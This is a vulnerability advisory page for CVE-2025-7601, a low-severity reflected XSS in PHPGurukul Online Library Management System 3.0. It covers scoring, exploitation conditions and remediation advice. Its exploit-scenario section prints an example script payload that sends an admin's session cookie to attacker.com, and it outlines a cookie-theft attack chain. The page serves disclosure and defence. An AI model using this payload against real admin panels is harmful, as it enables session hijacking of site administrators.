Skip to main content

Online Library Management System CVE-2025-7601

| EUVDEUVD-2025-21343 LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-14 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege session or craft malicious URL
  2. Delivery
    Deliver crafted `stdid` XSS payload to admin via link/redirect
  3. Exploit
    Admin loads `/admin/student-history.php` with injected parameter
  4. Execution
    Browser executes attacker JavaScript in admin session context
  5. Impact
    Exfiltrate session cookie or perform admin-scoped DOM actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A03:2021 - Injection
ASVS 5.0
V5 - Validation, Sanitization and Encoding Input validation, output encoding, parameterized queries
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) the attacker holds a low-privilege authenticated session within the application, OR can deliver a crafted URL to a currently authenticated admin user (UI:P - passive user interaction required); (2) the target application is accessible over the network (AV:N); (3) the victim admin must load the crafted request in their browser session. Limiting factors: the admin panel location (/admin/) is typically not exposed to anonymous internet users in well-configured deployments; the attack requires the victim to actively load the crafted URL; no confidentiality impact is confirmed (session stealing is plausible but not independently verified beyond the PoC claim). No special non-default configuration is needed - the vulnerable parameter exists in the default installation of version 3.0.

Impact

Real-world risk is low. The CVSS 4.0 base score of 2.0 (with E:P environmental modifier applied) accurately reflects the constrained impact: no confidentiality exposure (VC:N), only low integrity impact (VI:L), and no availability concern. The PR:L requirement means an attacker must already hold some authenticated session or trick an authenticated user into following a crafted link, limiting opportunistic exploitation. EPSS of 0.03% (8th percentile) indicates the vulnerability is not being actively weaponized in broad scanning campaigns. No CISA KEV listing exists. The public PoC (GitHub issue filed by researcher f1rstb100d) lowers the bar for individual exploitation but does not materially elevate mass-exploitation risk given the product's narrow deployment. The primary realistic threat is a targeted social-engineering attack against a logged-in library admin, not automated scanning at scale.

Exploit ScenarioDerived

An attacker with low-privilege access to the application, or one who can socially engineer an authenticated admin, crafts a URL targeting /admin/student-history.php with the stdid parameter set to a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). When the admin clicks the link or is redirected to it, the payload executes in the admin's browser, forwarding their session cookie to the attacker's server. A public PoC demonstrating this technique is available at https://github.com/f1rstb100d/myCVE/issues/142.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 16, 2026

Reflected cross-site scripting in PHPGurukul Online Library Management System 3.0 allows a remote, low-privileged attacker to inject arbitrary JavaScript into the admin panel by manipulating the stdid parameter in /admin/student-history.php. A victim admin user who loads a crafted URL or page would execute attacker-controlled script in their browser session, enabling session hijacking or DOM manipulation. A public proof-of-concept exploit has been disclosed on GitHub; EPSS remains very low at 0.03% (8th percentile), consistent with a niche product with limited real-world attack surface.

RemediationAI

No vendor-released patch has been identified at time of analysis - the vulnerability was reported via VulDB (ID 316300) with a PoC on GitHub, but no patched version number appears in the available references. Administrators running this system should immediately apply output encoding to the stdid parameter in /admin/student-history.php, using PHP's htmlspecialchars() with ENT_QUOTES before reflecting user-supplied input into HTML responses. As a compensating control, restrict access to the /admin/ directory to trusted IP ranges via web server configuration (e.g., Apache Require ip or nginx allow/deny directives) - this does not eliminate the flaw but substantially limits the attacker's ability to deliver a crafted URL to an admin. Additionally, deploying a Web Application Firewall (WAF) rule to filter <script> and event-handler patterns in the stdid parameter provides shallow-defence coverage. Monitor VulDB entry 316300 and the phpgurukul.com site for an official patch release.

Affected VersionsENISA

Online Library Management System 3.0

Affected Packages

euvd online_library_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the PHP-based admin interface of PHPGurukul's Online Library Management System version 3.0 (CPE: cpe:2.3:a:phpgurukul:online_library_management_system:3.0:*:*:*:*:*:*:*). The stdid parameter passed to /admin/student-history.php is reflected into the HTML response without adequate output encoding or input sanitization, satisfying the definition of CWE-79 (Improper Neutralization of Input During Web Page Generation). PHPGurukul produces open-source PHP/MySQL management systems primarily targeted at small educational institutions. The attack vector is network-accessible, requires low-privilege authentication (PR:L in the CVSS 4.0 vector), and passive user interaction (UI:P - a victim admin must load the crafted request in their browser).

Know when Online Library Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Network-delivered XSS requiring low-privilege auth and victim interaction; scope change to browser context yields low C and I.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
CVSS changed
Apr 29, 2026 - 01:11 NVD
3.5 (LOW) 2.0 (LOW)
PoC Detected
Jul 16, 2025 - 14:33 vuln.today
Public exploit code
CVE Published
Jul 14, 2025 - 12:15 nvd
LOW 3.5
CVE Published
Jul 14, 2025 - 12:15 cve.org
LOW 2.0

DescriptionCVE.org

A vulnerability has been found in PHPGurukul Online Library Management System 3.0 and classified as problematic. This vulnerability affects unknown code of the file /admin/student-history.php. The manipulation of the argument stdid leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Low
niche PHP educational management system, PHPGurukul, limited deployment
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy